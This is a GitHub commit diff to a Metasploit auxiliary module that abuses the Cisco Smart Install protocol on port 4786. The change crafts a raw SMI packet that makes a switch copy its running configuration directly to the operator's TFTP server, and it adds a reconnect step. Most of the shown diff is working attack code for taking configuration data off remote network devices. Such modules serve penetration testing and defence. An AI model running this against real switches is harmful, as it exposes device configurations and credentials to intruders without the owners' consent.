Skip to content

Commit 35567e3

Browse files
author
Austin
authored
Fix - copy system:running-config tftp://ip/file
Copies running config directly to TFTP server, thus removing the need to delete the file :D.
1 parent f84f824 commit 35567e3

File tree

1 file changed

+10
-12
lines changed

1 file changed

+10
-12
lines changed

modules/auxiliary/scanner/misc/cisco_smart_install.rb

Lines changed: 10 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
and determines if it speaks the Smart Install Protocol. Exposure of SMI
2020
to untrusted networks can allow complete compromise of the switch.
2121
),
22-
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
22+
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>', 'Mumbai'],
2323
'References' =>
2424
[
2525
['URL', 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'],
@@ -43,23 +43,21 @@ def initialize(info = {})
4343
Opt::RPORT(4786),
4444
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),
4545
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 60]),
46-
OptInt.new('DELAY', [ true, "Time to wait till requesting config to prevent service from becomming unresponsive.", 30])
46+
OptInt.new('DELAY', [ true, "Time to wait till requesting config to prevent service from becomming unresponsive.", 60])
4747
]
4848
)
4949
end
5050

5151
def start_tftp(req_type)
52-
# http://rapid7.github.io/metasploit-framework/api/Rex/Proto/TFTP/Server.html
5352
print_status("Starting TFTP Server...")
5453
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
5554
case
5655
when req_type == "PUT"
5756
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
5857
@tftp.start
59-
when req_type == "GET" # yeah yeah, so original. lmao.
60-
# read global variables data, and size
61-
config_exec_data = @config_exec.read(@config_exec.stat.size)
62-
@tftp.register_file("#{Rex::Text.rand_text_alpha}.conf", config_exec_data)
58+
when req_type == "GET" # in progress of writing "UPLOAD" function
59+
config = @config.read(@config.stat.size)
60+
@tftp.register_file("#{Rex::Text.rand_text_alpha}.conf", config)
6361
@tftp.start
6462
end
6563
add_socket(@tftp.sock)
@@ -104,11 +102,9 @@ def decode_hex(string)
104102
end
105103

106104
def craft_packet
107-
config_name = "#{Rex::Text.rand_text_alpha(8)}.conf"
108-
copy_config = "copy system:running-config flash:/#{config_name}"
109-
transfer_config = "copy flash:/#{config_name} tftp://#{@lhost}/#{config_name}"
105+
copy_config = "copy system:running-config tftp://#{@lhost}/#{Rex::Text.rand_text_alpha(8)}"
110106
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
111-
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (transfer_config + decode_hex(('00' * (336 - transfer_config.length)))) + (decode_hex(('00' * 336)))
107+
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
112108
return packet
113109
end
114110

@@ -142,8 +138,10 @@ def run_host(ip)
142138
start_tftp("PUT")
143139
connect
144140
return unless smi?
141+
disconnect # cant send any additional packets, so closing
142+
connect
145143
print_status("Waiting #{datastore['DELAY']} seconds before requesting config")
146-
Rex.sleep(datastore['DELAY']) # reasnoning behind this, on some IOS versions, including my testbed, it becomes unresponsive after SMI
144+
Rex.sleep(datastore['DELAY'])
147145
packet = craft_packet
148146
print_status("Requesting configuration from device...")
149147
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")

0 commit comments

Comments
 (0)